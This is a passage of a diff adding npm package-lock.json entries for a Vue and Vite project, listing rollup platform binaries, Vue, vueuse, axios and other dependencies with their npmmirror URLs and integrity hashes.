"https://registry.npmmirror.com/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz", + "integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz", + "integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz", + "integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz", + "integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz", + "integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz", + "integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz", + "integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz", + "integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz", + "integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz", + "integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz", + "integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz", + "integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz", + "integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz", + "integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz", + "integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz", + "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz", + "integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz", + "integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz", + "integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz", + "integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz", + "integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz", + "integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz", + "integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@types/estree": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/@types/estree/-/estree-1.0.8.tgz", + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/lodash": { + "version": "4.17.24", + "resolved": "https://registry.npmmirror.com/@types/lodash/-/lodash-4.17.24.tgz", + "integrity": "sha512-gIW7lQLZbue7lRSWEFql49QJJWThrTFFeIMJdp3eH4tKoxm1OvEPg02rm4wCCSHS0cL3/Fizimb35b7k8atwsQ==", + "license": "MIT" + }, + "node_modules/@types/lodash-es": { + "version": "4.17.12", + "resolved": "https://registry.npmmirror.com/@types/lodash-es/-/lodash-es-4.17.12.tgz", + "integrity": "sha512-0NgftHUcV4v34VhXm8QBSftKVXtbkBG3ViCjs6+eJ5a6y6Mi/jiFGPc1sC7QK+9BFhWrURE3EOggmWaSxL9OzQ==", + "license": "MIT", + "dependencies": { + "@types/lodash": "*" + } + }, + "node_modules/@types/web-bluetooth": { + "version": "0.0.20", + "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.20.tgz", + "integrity": "sha512-g9gZnnXVq7gM7v3tJCWV/qw7w+KeOlSHAhgF9RytFyifW6AF61hdT2ucrYhPq9hLs5JIryeupHV3qGk95dH9ow==", + "license": "MIT" + }, + "node_modules/@vitejs/plugin-vue": { + "version": "5.2.4", + "resolved": "https://registry.npmmirror.com/@vitejs/plugin-vue/-/plugin-vue-5.2.4.tgz", + "integrity": "sha512-7Yx/SXSOcQq5HiiV3orevHUFn+pmMB4cgbEkDYgnkUWb0WfeQ/wa2yFv6D5ICiCQOVpjA7vYDXrC7AGO8yjDHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "peerDependencies": { + "vite": "^5.0.0 || ^6.0.0", + "vue": "^3.2.25" + } + }, + "node_modules/@volar/language-core": { + "version": "2.4.15", + "resolved": "https://registry.npmmirror.com/@volar/language-core/-/language-core-2.4.15.tgz", + "integrity": "sha512-3VHw+QZU0ZG9IuQmzT68IyN4hZNd9GchGPhbD9+pa8CVv7rnoOZwo7T8weIbrRmihqy3ATpdfXFnqRrfPVK6CA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/source-map": "2.4.15" + } + }, + "node_modules/@volar/source-map": { + "version": "2.4.15", + "resolved": "https://registry.npmmirror.com/@volar/source-map/-/source-map-2.4.15.tgz", + "integrity": "sha512-CPbMWlUN6hVZJYGcU/GSoHu4EnCHiLaXI9n8c9la6RaI9W5JHX+NqG+GSQcB0JdC2FIBLdZJwGsfKyBB71VlTg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@volar/typescript": { + "version": "2.4.15", + "resolved": "https://registry.npmmirror.com/@volar/typescript/-/typescript-2.4.15.tgz", + "integrity": "sha512-2aZ8i0cqPGjXb4BhkMsPYDkkuc2ZQ6yOpqwAuNwUoncELqoy5fRgOQtLR9gB0g902iS0NAkvpIzs27geVyVdPg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/language-core": "2.4.15", + "path-browserify": "^1.0.1", + "vscode-uri": "^3.0.8" + } + }, + "node_modules/@vue/compiler-core": { + "version": "3.5.30", + "resolved": "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.5.30.tgz", + "integrity": "sha512-s3DfdZkcu/qExZ+td75015ljzHc6vE+30cFMGRPROYjqkroYI5NV2X1yAMX9UeyBNWB9MxCfPcsjpLS11nzkkw==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@vue/shared": "3.5.30", + "entities": "^7.0.1", + "estree-walker": "^2.0.2", + "source-map-js": "^1.2.1" + } + }, + "node_modules/@vue/compiler-dom": { + "version": "3.5.30", + "resolved": "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.5.30.tgz", + "integrity": "sha512-eCFYESUEVYHhiMuK4SQTldO3RYxyMR/UQL4KdGD1Yrkfdx4m/HYuZ9jSfPdA+nWJY34VWndiYdW/wZXyiPEB9g==", + "license": "MIT", + "dependencies": { + "@vue/compiler-core": "3.5.30", + "@vue/shared": "3.5.30" + } + }, + "node_modules/@vue/compiler-sfc": { + "version": "3.5.30", + "resolved": "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.5.30.tgz", + "integrity": "sha512-LqmFPDn89dtU9vI3wHJnwaV6GfTRD87AjWpTWpyrdVOObVtjIuSeZr181z5C4PmVx/V3j2p+0f7edFKGRMpQ5A==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@vue/compiler-core": "3.5.30", + "@vue/compiler-dom": "3.5.30", + "@vue/compiler-ssr": "3.5.30", + "@vue/shared": "3.5.30", + "estree-walker": "^2.0.2", + "magic-string": "^0.30.21", + "postcss": "^8.5.8", + "source-map-js": "^1.2.1" + } + }, + "node_modules/@vue/compiler-ssr": { + "version": "3.5.30", + "resolved": "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.5.30.tgz", + "integrity": "sha512-NsYK6OMTnx109PSL2IAyf62JP6EUdk4Dmj6AkWcJGBvN0dQoMYtVekAmdqgTtWQgEJo+Okstbf/1p7qZr5H+bA==", + "license": "MIT", + "dependencies": { + "@vue/compiler-dom": "3.5.30", + "@vue/shared": "3.5.30" + } + }, + "node_modules/@vue/compiler-vue2": { + "version": "2.7.16", + "resolved": "https://registry.npmmirror.com/@vue/compiler-vue2/-/compiler-vue2-2.7.16.tgz", + "integrity": "sha512-qYC3Psj9S/mfu9uVi5WvNZIzq+xnXMhOwbTFKKDD7b1lhpnn71jXSFdTQ+WsIEk0ONCd7VV2IMm7ONl6tbQ86A==", + "dev": true, + "license": "MIT", + "dependencies": { + "de-indent": "^1.0.2", + "he": "^1.2.0" + } + }, + "node_modules/@vue/devtools-api": { + "version": "6.6.4", + "resolved": "https://registry.npmmirror.com/@vue/devtools-api/-/devtools-api-6.6.4.tgz", + "integrity": "sha512-sGhTPMuXqZ1rVOk32RylztWkfXTRhuS7vgAKv0zjqk8gbsHkJ7xfFf+jbySxt7tWObEJwyKaHMikV/WGDiQm8g==", + "license": "MIT" + }, + "node_modules/@vue/language-core": { + "version": "2.2.12", + "resolved": "https://registry.npmmirror.com/@vue/language-core/-/language-core-2.2.12.tgz", + "integrity": "sha512-IsGljWbKGU1MZpBPN+BvPAdr55YPkj2nB/TBNGNC32Vy2qLG25DYu/NBN2vNtZqdRbTRjaoYrahLrToim2NanA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/language-core": "2.4.15", + "@vue/compiler-dom": "^3.5.0", + "@vue/compiler-vue2": "^2.7.16", + "@vue/shared": "^3.5.0", + "alien-signals": "^1.0.3", + "minimatch": "^9.0.3", + "muggle-string": "^0.4.1", + "path-browserify": "^1.0.1" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@vue/reactivity": { + "version": "3.5.30", + "resolved": "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.5.30.tgz", + "integrity": "sha512-179YNgKATuwj9gB+66snskRDOitDiuOZqkYia7mHKJaidOMo/WJxHKF8DuGc4V4XbYTJANlfEKb0yxTQotnx4Q==", + "license": "MIT", + "dependencies": { + "@vue/shared": "3.5.30" + } + }, + "node_modules/@vue/runtime-core": { + "version": "3.5.30", + "resolved": "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.5.30.tgz", + "integrity": "sha512-e0Z+8PQsUTdwV8TtEsLzUM7SzC7lQwYKePydb7K2ZnmS6jjND+WJXkmmfh/swYzRyfP1EY3fpdesyYoymCzYfg==", + "license": "MIT", + "dependencies": { + "@vue/reactivity": "3.5.30", + "@vue/shared": "3.5.30" + } + }, + "node_modules/@vue/runtime-dom": { + "version": "3.5.30", + "resolved": "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.5.30.tgz", + "integrity": "sha512-2UIGakjU4WSQ0T4iwDEW0W7vQj6n7AFn7taqZ9Cvm0Q/RA2FFOziLESrDL4GmtI1wV3jXg5nMoJSYO66egDUBw==", + "license": "MIT", + "dependencies": { + "@vue/reactivity": "3.5.30", + "@vue/runtime-core": "3.5.30", + "@vue/shared": "3.5.30", + "csstype": "^3.2.3" + } + }, + "node_modules/@vue/server-renderer": { + "version": "3.5.30", + "resolved": "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.5.30.tgz", + "integrity": "sha512-v+R34icapydRwbZRD0sXwtHqrQJv38JuMB4JxbOxd8NEpGLny7cncMp53W9UH/zo4j8eDHjQ1dEJXwzFQknjtQ==", + "license": "MIT", + "dependencies": { + "@vue/compiler-ssr": "3.5.30", + "@vue/shared": "3.5.30" + }, + "peerDependencies": { + "vue": "3.5.30" + } + }, + "node_modules/@vue/shared": { + "version": "3.5.30", + "resolved": "https://registry.npmmirror.com/@vue/shared/-/shared-3.5.30.tgz", + "integrity": "sha512-YXgQ7JjaO18NeK2K9VTbDHaFy62WrObMa6XERNfNOkAhD1F1oDSf3ZJ7K6GqabZ0BvSDHajp8qfS5Sa2I9n8uQ==", + "license": "MIT" + }, + "node_modules/@vue/tsconfig": { + "version": "0.5.1", + "resolved": "https://registry.npmmirror.com/@vue/tsconfig/-/tsconfig-0.5.1.tgz", + "integrity": "sha512-VcZK7MvpjuTPx2w6blwnwZAu5/LgBUtejFOi3pPGQFXQN5Ela03FUtd2Qtg4yWGGissVL0dr6Ro1LfOFh+PCuQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@vueuse/core": { + "version": "12.0.0", + "resolved": "https://registry.npmmirror.com/@vueuse/core/-/core-12.0.0.tgz", + "integrity": "sha512-C12RukhXiJCbx4MGhjmd/gH52TjJsc3G0E0kQj/kb19H3Nt6n1CA4DRWuTdWWcaFRdlTe0npWDS942mvacvNBw==", + "license": "MIT", + "dependencies": { + "@types/web-bluetooth": "^0.0.20", + "@vueuse/metadata": "12.0.0", + "@vueuse/shared": "12.0.0", + "vue": "^3.5.13" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/metadata": { + "version": "12.0.0", + "resolved": "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-12.0.0.tgz", + "integrity": "sha512-Yzimd1D3sjxTDOlF05HekU5aSGdKjxhuhRFHA7gDWLn57PRbBIh+SF5NmjhJ0WRgF3my7T8LBucyxdFJjIfRJQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/shared": { + "version": "12.0.0", + "resolved": "https://registry.npmmirror.com/@vueuse/shared/-/shared-12.0.0.tgz", + "integrity": "sha512-3i6qtcq2PIio5i/vVYidkkcgvmTjCqrf26u+Fd4LhnbBmIT6FN8y6q/GJERp8lfcB9zVEfjdV0Br0443qZuJpw==", + "license": "MIT", + "dependencies": { + "vue": "^3.5.13" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/acorn": { + "version": "8.16.0", + "resolved": "https://registry.npmmirror.com/acorn/-/acorn-8.16.0.tgz", + "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/alien-signals": { + "version": "1.0.13", + "resolved": "https://registry.npmmirror.com/alien-signals/-/alien-signals-1.0.13.tgz", + "integrity": "sha512-OGj9yyTnJEttvzhTUWuscOvtqxq5vrhF7vL9oS0xJ2mK0ItPYP1/y+vCFebfxoEyAz0++1AIwJ5CMr+Fk3nDmg==", + "dev": true, + "license": "MIT" + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "license": "ISC", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/anymatch/node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/async-validator": { + "version": "4.2.5", + "resolved": "https://registry.npmmirror.com/async-validator/-/async-validator-4.2.5.tgz", + "integrity": "sha512-7HhHjtERjqlNbZtqNqy2rckN/SpOOlmDliet+lP7k+eKZEjPk3DgyeU9lIXLdeLz0uBbbVp+9Qdow9wJWgwwfg==", + "license": "MIT" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/axios": { + "version": "1.13.6", + "resolved": "https://registry.npmmirror.com/axios/-/axios-1.13.6.tgz", + "integrity": "sha512-ChTCHMouEe2kn713WHbQGcuYrr6fXTBiu460OTwWrWob16g1bXn4vtz07Ope7ewMozJAnEquLk5lWQWtBig9DQ==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.15.11", + "form-data": "^4.0.5", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/binary-extensions": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/chokidar": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-4.0.3.tgz", + "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "readdirp": "^4.0.1" + }, + "engines": { + "node": ">= 14.16.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/confbox": { + "version": "0.1.8", + "resolved": "https://registry.npmmirror.com/confbox/-/confbox-0.1.8.tgz", + "integrity": "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmmirror.com/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "license": "MIT" + }, + "node_modules/dayjs": { + "version": "1.11.20", + "resolved": "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.20.tgz", + "integrity": 